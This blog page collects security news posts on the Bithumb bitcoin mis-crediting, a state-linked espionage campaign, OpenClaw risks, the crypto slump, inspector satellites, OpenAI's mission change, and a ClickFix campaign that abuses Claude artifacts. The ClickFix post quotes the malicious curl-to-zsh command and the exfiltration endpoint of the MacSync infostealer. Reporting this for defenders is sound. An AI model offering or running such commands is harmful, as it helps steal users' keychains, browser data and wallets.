Search This Blog

Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Showing posts with label Cyber Security. Show all posts

Bithumb Mistakenly Credits Users With Billions in Bitcoin During Promotion Error

 




A promotional campaign at South Korean cryptocurrency exchange Bithumb turned into a large scale operational incident after a data entry mistake resulted in users receiving bitcoin instead of a small cash-equivalent reward.

Initial reports suggested that certain customers were meant to receive 2,000 Korean won as part of a routine promotional payout. Instead, those accounts were credited with 2,000 bitcoin each. At current market valuations, 2,000 bitcoin represents roughly $140 million per account, transforming what should have been a minor incentive into an extraordinary allocation.

Bithumb later confirmed that the scope of the error was larger than early estimates. According to the exchange, a total of 620,000 bitcoin was mistakenly credited to 695 user accounts. Based on prevailing prices at the time of the incident, that amount corresponded to approximately $43 billion in value. The exchange stated that the issue stemmed from an internal processing mistake and was not connected to external hacking activity or a breach of its security infrastructure. It emphasized that customer asset custody systems were not compromised.

The sudden appearance of large bitcoin balances had an immediate effect on trading activity within the platform. Bithumb reported that the incident contributed to a temporary decline of about 10 percent in bitcoin’s price on its exchange, as some affected users rapidly sold the credited assets. To contain further disruption, the company restricted withdrawals and suspended certain transactions linked to the impacted accounts. It stated that 99.7 percent of the mistakenly issued bitcoin has since been recovered.

The event has revived discussion around the concept often described as “paper bitcoin.” On centralized exchanges, user balances are reflected in internal ledgers rather than always corresponding to coins held in individual blockchain wallets. In practice, exchanges may not maintain a one-to-one on-chain reserve for every displayed balance at every moment. This structural model has previously drawn criticism, most notably during the collapse of Mt. Gox in 2014, which was then the largest bitcoin exchange globally. Its failure exposed major discrepancies between reported and actual holdings.

Data from blockchain analytics firm Arkham Intelligence indicates that Bithumb currently controls digital assets worth approximately $5.3 billion. That figure is substantially lower than the $43 billion temporarily reflected in the erroneous credits, underscoring that the allocation existed within internal accounting records rather than as newly transferred blockchain assets.

Observers on social media platform X questioned how such a large discrepancy could occur without automated safeguards preventing the issuance. Bithumb has faced security challenges in the past. In 2017, an employee’s device was compromised, exposing customer data later used in phishing attempts. In 2018, around $30 million in cryptocurrency was stolen in an attack attributed to the Lazarus Group, an organization widely linked to North Korea. A further breach in 2019 resulted in losses of roughly $20 million and was initially suspected to involve insider participation. In each instance, Bithumb stated that it compensated affected users for lost funds, though earlier incidents included exposure of personal information.

Beyond cybersecurity events, the exchange has also been subject to regulatory scrutiny, including investigations related to alleged fraud, embezzlement, and promotional practices. Reports indicate it was again raided this week over concerns involving misleading advertising.

Bithumb maintains that no customer ultimately suffered a net financial loss from the recent error, though the price movement raised concerns about potential liquidations for leveraged traders. A comparable situation occurred at decentralized exchange Paradex, which reversed trades following a pricing malfunction.

The incident unfolds amid broader market strain, with digital asset prices astronomically below their October peaks and political debate intensifying around cryptocurrency-linked business interests connected to U.S. public figures. Recent disclosures from the U.S. Department of Justice concerning Jeffrey Epstein’s early involvement in cryptocurrency ventures have further fueled online speculation and conspiracy narratives across social platforms.

Shadow Campaigns Expose 37 Nations to State-Linked Cyber Espionage Operations

 

A state-backed cyber espionage effort known as the “Shadow Campaigns” has quietly breached government bodies and critical infrastructure across 37 countries. Investigators from Palo Alto Networks’ Unit 42 assess that the activity began by early 2024 and likely originates from Asia. While no formal attribution has been made, the actor is tracked as TGR-STA-1030 or UNC6619. The campaign is marked by stealth and persistence, focusing on long-term intelligence gathering rather than overt disruption. 

At least 70 organizations were confirmed compromised, primarily government ministries and agencies handling finance, trade, energy, mining, immigration, border control, diplomacy, and law enforcement. Victims span multiple regions, including Brazil’s Ministry of Mines and Energy, Mexican and Bolivian government-linked entities, infrastructure in Panama, and agencies across Europe such as those in Germany, Italy, Poland, and Czechia. Other affected organizations include an Indonesian airline, Malaysian government departments, Mongolian law enforcement, a Taiwanese power equipment supplier, and critical infrastructure entities across parts of Africa. 

Reconnaissance activity was even broader. Between November and December, infrastructure linked to 155 countries was scanned. Systems associated with Australia’s Treasury, Afghanistan’s Ministry of Finance, Nepal’s prime minister’s office, and hundreds of European Union and German government IP addresses showed signs of probing. Analysts noted spikes in activity during politically sensitive periods, including the U.S. government shutdown in October 2025 and the lead-up to Honduras’ national election, suggesting interest in geopolitical developments. Initial access often relied on highly targeted phishing emails referencing internal government matters. 

These messages delivered malware via compressed files hosted on Mega.nz, deploying a loader called Diaoyu that could fetch Cobalt Strike and VShell payloads after performing evasion checks. The group also exploited at least 15 known vulnerabilities in products such as Microsoft Exchange Server, SAP Solution Manager, D-Link devices, and Windows systems. A key finding was a custom Linux kernel rootkit, ShadowGuard, which operates at the kernel level to hide malicious activity and evade detection. 

Infrastructure supporting the campaign used legitimate VPS providers in the U.S., Singapore, and the U.K., along with relay servers and anonymization layers. Researchers conclude the actor is highly capable and remains an ongoing threat to governments and critical services worldwide.

Global Cyber Espionage Campaign Hits Governments in 37 Countries

 

A massive cyber spying effort - linked to a government-backed group operating out of Asia - has breached governmental bodies and essential infrastructure targets in 37 nations, recent findings by Palo Alto Networks reveal. Known under the identifier TGR-STA-1030, the assault reached more than 70 institutions during the last twelve months. This intrusion ranks among the broadest state-associated hacking episodes seen since the major compromise involving SolarWinds back in 2020. 

Attack efforts targeted government bodies handling commerce, monetary policy, power resources, frontier controls, one expert noted. What makes this operation distinct is its breadth and financial angle - data points show interest in critical raw materials, ongoing commercial talks, even realignments in global partnerships. 

What stood out, per Cybersecurity Dive’s coverage, was how Palo Alto labeled the campaign - the widest state-affiliated spying push seen lately. The firm avoided naming any nation directly, yet pointed to origins across Asia, highlighting its reach alongside advanced execution. Though no explicit attribution emerged, the depth of coordination suggested a well-resourced hand behind it.  

Five national law enforcement and border units fell victim, alongside financial branches across three countries, while several agencies handling natural resources or diplomacy also faced breaches. Targeted entities ranged from Taiwan’s state-backed electrical infrastructure provider to Mongolia’s federal policing body, including Indonesia’s senior administrative figure, the Czech legislative chamber plus its defense command, and Brazil’s energy regulatory office. 

State-linked telecom enterprises were impacted too, scattered through different regions without pattern. Peter Renals, principal security researcher with Palo Alto’s Unit 42 threat intelligence team, told Axios that government agencies and critical infrastructure organizations in the United States and United Kingdom were not impacted. Timing of the cyber intrusions seemed tightly linked to key political and economic moments. Around a month prior to Honduras’ presidential vote - marked by discussions on Taiwan relations - numerous state-linked IPs faced targeting. 

Meanwhile, in Mexico, suspicious digital actions emerged after news broke about trade probes connected to upcoming tariff decisions. Facing rising cyber threats, European authorities saw increased digital intrusions. After Czech leader Petr Pavel met with the Dalai Lama, scans appeared across defense, law enforcement, legislative, and administrative systems in the country. In parallel, German infrastructure came under scrutiny - close to five hundred public-sector internet addresses were probed that summer. 

Though separate events, both incidents pointed toward coordinated probing of state-level networks. Beginning with digital deception, the group used fake emails alongside unpatched security holes to enter systems. Exploiting weaknesses in tools like Microsoft Exchange Server and SAP Solution Manager was observed by analysts tracking their moves. Hidden inside compromised machines, a stealthy program named ShadowGuard took root beneath regular operating layers. 

This custom-built tool ran deep in Linux environments, masking operations where most scans rarely look. Alone between November and December, scans hit infrastructure across 155 nations - evidence of persistent probing ahead of possible follow-up actions. Though Palo Alto Networks alerted impacted governments and collaborators, the group behind the activity still operates, its presence a steady concern for critical systems and state-level safety around the globe.

China Raises Security Concerns Over Rapidly Growing OpenClaw AI Tool

 

A fresh alert from China’s tech regulators highlights concerns around OpenClaw, an open-source AI tool gaining traction fast. Though built with collaboration in mind, its setup flaws might expose systems to intrusion. Missteps during installation may lead to unintended access by outside actors. Security gaps, if left unchecked, can result in sensitive information slipping out. Officials stress careful handling - especially among firms rolling it out at scale. Attention to detail becomes critical once deployment begins. Oversight now could prevent incidents later. Vigilance matters most where automation meets live data flows. 

OpenClaw operations were found lacking proper safeguards, officials reported. Some setups used configurations so minimal they risked exposure when linked to open networks. Though no outright prohibition followed, stress landed on tighter controls and stronger protection layers. Oversight must improve, inspectors noted - security cannot stay this fragile. 

Despite known risks, many groups still overlook basic checks on outward networks tied to OpenClaw setups. Security teams should verify user identities more thoroughly while limiting who gets in - especially where systems meet the internet. When left unchecked, even helpful open models might hand opportunities to those probing for weaknesses. 

Since launching in November, OpenClaw has seen remarkable momentum. Within weeks, it captured interest across continents - driven by strong community engagement. Over 100,000 GitHub stars appeared fast, evidence of widespread developer curiosity. In just seven days, nearly two million people visited its page, Steinberger noted. Because of how swiftly teams began using it, comparisons to leading AI tools emerged often. Recently, few agent frameworks have sparked such consistent conversation. 

Not stopping at global interest, attention within Chinese tech circles grew fast. Because of rising need, leading cloud platforms began introducing setups for remote OpenClaw operation instead of local device use. Alibaba Cloud, Tencent Cloud, and Baidu now provide specialized access points. At these spots online, users find rented servers built to handle the processing load of the AI tool. Unexpectedly, the ministry issued a caution just as OpenClaw’s reach began stretching past coders into broader networks. 

A fresh social hub named Moltbook appeared earlier this week - pitched as an online enclave solely for OpenClaw bots - and quickly drew notice. Soon afterward, flaws emerged: Wiz, a security analyst group, revealed a major defect on the site that laid bare confidential details from many members. While excitement built around innovation, risks surfaced quietly beneath. 

Unexpectedly, the incident revealed deeper vulnerabilities tied to fast-growing AI systems built without thorough safety checks. When open-source artificial intelligence grows stronger and easier to use, officials warn that small setup errors might lead to massive leaks of private information. 

Security specialists now stress how fragile these platforms can be if left poorly managed. With China's newest guidance, attention shifts toward stronger oversight of artificial intelligence safeguards. Though OpenClaw continues to operate across sectors, regulators stress accountability - firms using these tools must manage setup carefully, watch performance closely, while defending against new digital risks emerging over time.

Cryptocurrency Market Slump Deepens Amid Global Tech Selloff and Risk-Off Sentiment

 

Now falling, the crypto market feels strain from turmoil spreading beyond tech stocks worldwide. As investors pull back sharply, digital currencies take a hit alongside firms that list Bitcoin on their books. When one part shakes, others follow - worry grows over how deeply losses might spread through finance and tech alike. 

A sharp drop hit Bitcoin lately, pushing prices toward their weakest point since early 2023. Nearly $12 down for every hundred just yesterday, it now trades near sixty thousand dollars, according to figures on CoinMarketCap. Once hovering near seventy-two thousand, the descent has been relentless. Four months back, it stood at about one hundred twenty-six thousand - today, less than half remains. 

This plunge highlights how deeply the current market retreat is cutting. What stands clear is how ongoing sell-offs, paired with steady withdrawals from spot Bitcoin ETFs, weigh heavily on price direction. Around $60,000, any upward movement in Bitcoin has stalled - this pattern, according to Pi42's co-founder and chief executive, Avinash Shekhar, shapes a guarded mindset among investors. Each time gains slip away, trust in short-term rebound weakens. With swings growing sharper, hesitation lingers in trader behavior. 

Even after a steep drop, Bitcoin showed signs of steadiness around $65,000 by Friday morning in Indian markets. Still, the overall market value fell almost 9 per cent, landing near $1.3 trillion. Trade spiked dramatically - volume climbed above 90 per cent - as approximately $143 billion in Bitcoin shifted in just one day. Around half of all cryptocurrency investors kept leaning toward major coins under pressure, with Bitcoin holding nearly 58 per cent share. Stability returned slowly while trading intensity stayed high. Despite stronger signals elsewhere, wider economic pressures continue to cloud investor mood. 

According to Giottus chief executive Vikram Subburaj, conditions now reflect a typical pullback environment - liquidity shrinks while buyers hesitate and global concerns linger without resolution. When examined closely, shrinking exchange-traded fund flows along with strained blockchain metrics have together dampened appetite for crypto holdings, deepening the drop seen over recent seven-day periods. This drop marks the toughest stretch for digital currencies since last October, just ahead of Donald Trump securing the presidency amid pro-crypto signals throughout his run. 

Not only Bitcoin feels the heat - Ethereum, BNB, Solana, XRP, Dogecoin, Cardano, and Bitcoin Cash all slid 9 to 13 percent in tandem. Sector-wide losses suggest a widespread pullback, not an isolated dip. Despite earlier momentum, confidence now appears fragile across major assets. Besides the plunge, crypto's overall market value now sits near $2.22 trillion. That fall means losses exceeding $2 trillion since the high mark of about $4.39 trillion seen in October 2025, nearly half vanishing within only four weeks. Rather than stabilizing, investor mood has soured due to swings in metals like gold and silver - normally seen as secure - alongside slumping stock markets. 

Because of these shifts, appetite for risk-heavy assets has cooled noticeably. Despite weaker US job figures and rising worries over big spending in AI, the cryptocurrency space stays under pressure, says Akshat Siddhant of Mudrex. Because global markets show caution, downward trends hold firm for now. Yet, within this pullback, patient Bitcoin holders might find pockets of value worth watching closely. Though short-term volatility lingers, the broader downturn isn’t seen as a total barrier to strategic entry points. Following such dips carefully could matter more than reacting fast.

Inspector Satellites and Orbital Security Risks in Modern Space Infrastructure

 

Not far from familiar orbits, small satellites labeled as inspectors are starting to raise questions about safety above Earth. Lately, signs point to Russian vehicles moving near critical communication platforms - moves seen as unusually close by many experts. Such actions stir unease across national authorities, military planners, and firms tied to satellite networks worldwide. Little by little, these events reveal a shift: space no longer just a zone of cooperation, but one where watching, listening, and taking position matter more than before. 

One way to look at it is through military and spy evaluations: the spacecraft known as Luch-1 and Luch-2 belong to Moscow’s fleet meant for monitoring other orbiting machines. Tracking records show Luch-2, sent up in March 2023, moving unusually close to more than a dozen European satellites. High above Earth - about 36,000 km - the craft operates within an orbital belt where units stay locked over one spot on the ground. 

High above Earth, geostationary orbit holds unique importance. Satellites here handle telecom signals, national defense networks, TV broadcasts, storm tracking, along with classified government links. Since each craft stays fixed above one spot on the planet, services remain constant across time zones and emergencies alike. Should an unknown satellite shift close without warning, such movement draws immediate attention from control centers worldwide. 

Security experts in Europe suspect the Luch satellites could be tapping into transmissions from several regional communication platforms. Radio links, tightly aimed between Earth terminals and orbiting craft, carry these exchanges. Sitting close to those pathways - either incoming or outgoing - a satellite might pick up what is sent, particularly when protective coding is weak or old. Gathering such information counts as signal surveillance, known as SIGINT; doing so from space offers ongoing reach into critical traffic streams. 

Worry isn’t limited to public infrastructure alone. Some of these orbiting platforms were said to serve private businesses alongside national agencies, backing up operations like those run by Intelsat. Because they fulfill civilian and strategic roles, their vulnerability grows - today’s armed forces lean on commercial space links for communication channels, moving information, and reaching remote computing resources. When such networks face interference, consequences may ripple through military planning, disaster reaction setups, air traffic messaging, or the synchronization of banking transfers. 

Not just monitoring, but deliberate meddling raises concern among authorities. Close-orbiting satellites might, under certain conditions, disrupt communications through signal manipulation or noise flooding. Even without crashes in space, proven precision in approaching vital infrastructure alters strategic calculations globally. Repeated incidents targeting British military satellite links confirm combat now extends beyond ground-based systems. 

Though updated models now include defenses like shifting signal frequencies, smart antenna adjustments, or improved data coding, security levels differ - especially on legacy commercial units still active. While some agencies and companies pour resources into monitoring tools for orbital activity, spotting odd patterns as they happen remains a priority. Older hardware often lags behind when it comes to resilience against modern threats. 

Nowadays, dependence on space technology keeps growing - so does the link between orbit safety and digital protection. Because global guidelines for close-up satellite activities remain sparse, maneuvers by inspection craft push demands for better rules. These safeguards aim to shield vital networks running everyday online functions. What happens above affects what happens below.

ClickFix Campaigns Exploit Claude Artifacts to Target macOS Users with Infostealers

 

One out of every hundred Mac users searching online might now face hidden risks. Instead of helpful tools, some find traps disguised as guides - especially when looking up things like "DNS resolver" or "HomeBrew." Behind these results, attackers run silent operations using fake posts linked to real services. Notably, they borrow content connected to Claude, spreading it through paid search ads on Google. Each click can lead straight into their hands. Two separate versions of this scheme are already circulating. Evidence suggests more than ten thousand people followed the harmful steps without knowing. Most never realized what was taken. Quiet but widespread, the pattern reveals how easily trust gets hijacked in plain sight. 

Beginning with public posts shaped by Anthropic’s AI, a Claude artifact emerges when someone shares output from the system online. Hosted on claude.ai, such material might include scripts, how-tos, or fragments of working code - open for viewing through shared URLs. During recent ClickFix operations, deceptive search entries reroute people toward counterfeit versions of these documents. Instead of genuine help, visitors land on forged Medium pieces mimicking Apple's support site. From there, directions appear telling them to insert command-line strings straight into Terminal. Though it feels harmless at first glance, that single step triggers the start of compromise. 

The technical execution of these attacks involves two primary command variants. One common method utilizes an `echo` command, which is then piped through `base64 -D | zsh` for execution. The second variant employs a `curl` command to covertly fetch and execute a remote script: `true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh`. Upon successful execution of either command, the MacSync infostealer is deployed onto the macOS system. This potent malware is specifically engineered to exfiltrate a wide array of sensitive user data, including crucial keychain information, browser data, and cryptocurrency wallet details. 

One way attackers stay hidden involves disguising their traffic as ordinary web requests. A suspicious Claude guide, spotted by Moonlock Lab analysts, reached more than 15,600 users - an indicator of wide exposure. Instead of sending raw information, the system bundles stolen content neatly into a ZIP file, often stored temporarily under `/tmp/osalogging.zip`. This package then travels outward through an HTTP POST directed at domains such as `a2abotnet[.]com/gate`. Behind the scenes, access relies on fixed credentials: a preset token and API key baked directly into the code. For extra stealth, it mimics a macOS-based browser's digital fingerprint during exchanges. When uploads stall, the archive splits into lighter segments, allowing repeated tries - up to eight attempts occur if needed. Once delivery finishes, leftover files vanish instantly, leaving minimal evidence behind.  

This latest operation looks much like earlier efforts where hackers used chat-sharing functions in major language models - like ChatGPT and Grok - to spread the AMOS infostealer. What makes the shift toward targeting Claude notable is how attackers keep expanding their methods across different AI systems. Because of this, users need to stay highly alert, especially when it comes to running Terminal instructions they do not completely trust. One useful check, pointed out by Kaspersky analysts, means pausing first to ask the same assistant about any command’s intent and risk before carrying it out.

OpenAI’s Evolving Mission: A Shift from Safety to Profit?

 

Now under scrutiny, OpenAI - known for creating ChatGPT - has quietly adjusted its guiding purpose. Its 2023 vision once stressed developing artificial intelligence to benefit people without limits imposed by profit goals, specifically stating "safely benefits humanity." Yet late findings in a November 2025 tax filing for the prior year show that "safely" no longer appears. This edit arrives alongside structural shifts toward revenue-driven operations. Though small in wording, the change feeds debate over long-term priorities. While finances now shape direction more openly, questions grow about earlier promises. Notably absent is any public explanation for dropping the term tied to caution. Instead, emphasis moves elsewhere. What remains clear: intent may have shifted beneath the surface. Whether oversight follows such changes stays uncertain. 

This shift has escaped widespread media attention, yet it matters deeply - particularly while OpenAI contends with legal actions charging emotional manipulation, fatalities, and careless design flaws. Rather than downplay the issue, specialists in charitable governance see the silence as telling, suggesting financial motives may now outweigh user well-being. What unfolds here offers insight into public oversight of influential groups that can shape lives for better or worse. 

What began in 2015 as a nonprofit effort aimed at serving the public good slowly shifted course due to rising costs tied to building advanced AI systems. By 2019, financial demands prompted the launch of a for-profit arm under the direction of chief executive Sam Altman. That change opened doors - Microsoft alone had committed more than USD 13 billion by 2024 through repeated backing. Additional capital injections followed, nudging the organization steadily toward standard commercial frameworks. In October 2025, a formal separation took shape: one part remained a nonprofit entity named OpenAI Foundation, while operations moved into a new corporate body called OpenAI Group. Though this group operates as a public benefit corporation required to weigh wider social impacts, how those duties are interpreted and shared depends entirely on decisions made behind closed doors by its governing board. 

Not long ago, the mission changed - now it says “to ensure that artificial general intelligence benefits all of humanity.” Gone are the promises to do so safely and without limits tied to profit. Some see this edit as clear evidence of growing focus on revenue over caution. Even though safety still appears on OpenAI’s public site, cutting it from core texts feels telling. Oversight becomes harder when governance lines blur between parts of the organization. Just a fraction of ownership remains with the Foundation - around 25% of shares in the Group. That marks a sharp drop from earlier authority levels. With many leaders sitting on both boards at once, impartial review grows unlikely. Doubts surface about how much power the safety committee actually has under these conditions.